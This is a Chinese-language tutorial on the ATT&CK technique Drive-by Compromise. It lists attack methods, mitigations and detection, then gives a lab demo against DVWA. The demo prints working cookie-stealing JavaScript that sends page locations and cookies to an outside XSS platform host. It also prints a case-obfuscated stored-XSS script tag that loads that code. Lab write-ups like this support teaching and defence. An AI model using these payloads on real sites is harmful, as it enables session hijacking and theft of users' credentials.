Drive-by Compromise:通过受害者正常浏览网页去获取系统控制权限的一种技术手段。既可以通过浏览器或网页直接进行攻击,也可通过网页去获取相关认证的凭证
可选择的攻击手法
- 通过前端代码注入,如JS\IFrame\CSS
- 通过正常的广告渠道付费进行传播恶意广告内容
- 通过网页的交互页面插入恶意代码或对象,该代码可在其他用户端展示,如评论区、公告区
典型的攻击流程
- 受害者访问一个被黑客控制的网页或内容
- 网页中的脚本自动被执行,脚本主要用于搜寻浏览器或者插件的版本,以寻求相关的版本漏洞
- 根据上面发现的版本,进行漏洞代码的利用
- 如果攻击成功,黑客将会获得一个用户的系统管理权限
缓解措施
- 应用沙盒/虚拟化平台
- 严格的网页内容限制,如不可插入脚本等。第三方的Adlocks
- 攻击代码防护,主要通过系统机制,如 WDEG
- 补丁更新,保持最新版
检测方式
- 防火墙。可检测相关恶意域名和ip
- NIDS。网络入侵检测识别一点恶意行为
- 端点检测。通过判断应用的一些异常行为。如浏览器异常写文件等
Drive-by Compromise利用演示获取Cookie
1.搭建dvwa环境,设置安全等级为low,使用存储型XSS进行演示。具体搭建过程不详述,网上很多
2.使用XSS平台进行注册,建立获取cookie的项目
其中最关键的一段获取Cookie的代码为
(function() { (new Image()).src = 'http://xss.fbisb.com/xss.php?do=api&id=2Zd0&location=' + escape((function() {
try {
return document.location.href
} catch(e) {
return ''
}
})()) + '&toplocation=' + escape((function() {
try {
return top.location.href
} catch(e) {
return ''
}
})()) + '&cookie=' + escape((function() {
try {
return document.cookie
} catch(e) {
return ''
}
})()) + '&opener=' + escape((function() {
try {
return (window.opener && window.opener.location.href) ? window.opener.location.href: ''
} catch(e) {
return ''
}
})());
})();
if ('' == 1) {
keep = new Image();
keep.src = 'http://xss.fbisb.com/xss.php?do=keepsession&id=2Zd0&url=' + escape(document.location) + '&cookie=' + escape(document.cookie)
};
从js代码可知,该JS代码会获取当前页的路径、cookie信息,并将该信息发送至xss平台 xss.fbisb.com
在dvwa的xss模块处,插入代码
</script><sCRiPt sRC=http://xss.fbisb.com/2Zd0></sCrIpT>
刷新页面,可在XSS平台获取到相关敏感信息
这里注意XSS平台在获取cookies时候,有keepsession参数供选择,配置keepsession表示xss平台每隔几分钟会自动访问打到的xss后台,防止获得的cookies失效
参考链接
ATT&CK Drive-by Compromise节: https://attack.mitre.org/techniques/T1189/